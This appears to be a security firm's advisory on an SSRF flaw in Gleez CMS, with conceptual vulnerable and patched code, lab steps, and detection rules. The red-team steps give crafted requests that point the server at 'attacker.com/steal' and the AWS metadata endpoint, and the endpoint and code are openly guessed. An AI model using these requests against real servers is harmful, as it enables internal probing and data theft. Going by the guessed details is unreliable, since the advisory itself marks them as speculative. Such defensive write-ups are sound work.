CVE-2021-27312

Executive Summary

CVE-2021-27312 is a Server-Side Request Forgery (SSRF) vulnerability in Gleez CMS version 1.2.0. The flaw resides in modules/gleez/classes/request.php, allowing remote attackers to forge requests from the server, potentially leading to arbitrary code execution and sensitive information disclosure. No official patch has been released, and no public proof-of-concept or exploit code is available. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-918 (Server-Side Request Forgery).

Supply Chain & Package Security

Gleez CMS is a PHP-based content management system. The vulnerability is in the core application code, not in a third-party package. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the description, the vulnerability likely has high impact due to potential remote code execution and data exposure. The EPSS score is 0.0%, suggesting low exploitation activity in the wild.

Deep Dive & Mechanics

The SSRF vulnerability exists in modules/gleez/classes/request.php. The application fails to properly validate or sanitize user-supplied URLs before making server-side HTTP requests. An attacker can craft a malicious request that forces the server to interact with internal or external systems, bypassing network restrictions.

Attack Vector:

• The attacker sends a crafted HTTP request to the Gleez CMS instance.
• The vulnerable code in request.php processes the URL without validation.
• The server makes a request to an attacker-controlled destination, potentially accessing internal services (e.g., cloud metadata endpoints, internal databases) or executing further attacks.

Impact:

• Arbitrary code execution if the SSRF is chained with other vulnerabilities.
• Sensitive information disclosure (e.g., cloud provider metadata, internal network details).
• Potential lateral movement within the network.

Vulnerable vs. Patched Code

No patched version exists. The vulnerable code in modules/gleez/classes/request.php likely contains a function that accepts a URL parameter and performs an HTTP request without restrictions.

Vulnerable Code (Conceptual):

public function fetch($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

Patched Code (Hypothetical):

public function fetch($url) {
    // Validate URL scheme and host
    $parsed = parse_url($url);
    if (!in_array($parsed['scheme'], ['http', 'https'])) {
        throw new Exception("Invalid scheme");
    }
    // Block private IP ranges
    $host = gethostbyname($parsed['host']);
    if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    } else {
        throw new Exception("Blocked IP range");
    }
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Gleez CMS 1.2.0 on a local server (e.g., using Docker or XAMPP).
2. Set up a listener (e.g., Netcat or a webhook) to capture outbound requests.
3. Identify the vulnerable endpoint (likely /index.php?task=request&url=...).

Exploitation Steps:

1. Craft a request to trigger SSRF:

   GET /index.php?task=request&url=http://attacker.com/steal HTTP/1.1
   Host: target.com
   

2. Observe the server making a request to attacker.com.
3. For internal scanning, use:

   GET /index.php?task=request&url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
   

   (AWS metadata endpoint)
4. Chain with other vulnerabilities for RCE if possible.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor outbound HTTP requests from the web server to unexpected destinations.
• Look for requests to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or cloud metadata endpoints.
• Analyze web server logs for unusual URL parameters (e.g., url= pointing to internal addresses).

Mitigation:

• Apply input validation and allowlisting for URL schemes and hosts.
• Use a web application firewall (WAF) to block SSRF patterns.
• Restrict outbound network access from the web server.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to private IP ranges or cloud metadata endpoints.
  • Requests to attacker-controlled domains from the web server.
• Logs:
  • Web server logs showing url parameter with internal IPs or unusual hosts.
  • Error logs indicating failed connection attempts to blocked IPs.
• File System:
  • Modified or new files in the web root (if RCE achieved).
  • Suspicious entries in /tmp or application cache.

Detection Engineering

YARA Rule

rule CVE_2021_27312_SSRF_Gleez {
    meta:
        description = "Detects SSRF exploitation attempts in Gleez CMS 1.2.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-27312"
    strings:
        $url_param = "url=" nocase
        $request_php = "request.php" nocase
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
    condition:
        $url_param and $request_php and $internal_ip
}

Sigma Rule

title: SSRF Exploitation Attempt in Gleez CMS
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects SSRF attempts targeting internal IPs via Gleez CMS request.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'url='
        cs-uri-query|contains: 'request.php'
        cs-uri-query|contains:
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
            - '169.254.'
    condition: selection
falsepositives:
    - Legitimate use of internal URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-27312 Gleez CMS SSRF Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"request.php"; http_uri;
    content:"url="; http_uri;
    pcre:"/url=(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/Ui";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the vulnerable request.php file if not needed.
2. Implement input validation to restrict URL schemes to http and https only.
3. Block outbound requests to private IP ranges and cloud metadata endpoints.
4. Apply a WAF rule to filter SSRF patterns.

Long-Term:

• Upgrade to a patched version if available (none currently).
• Consider migrating to a supported CMS.
• Conduct a security audit of the application code.

Workaround:

• Modify request.php to include a whitelist of allowed hosts or use a proxy that enforces restrictions.

Valters IT
Securing Digital Frontiers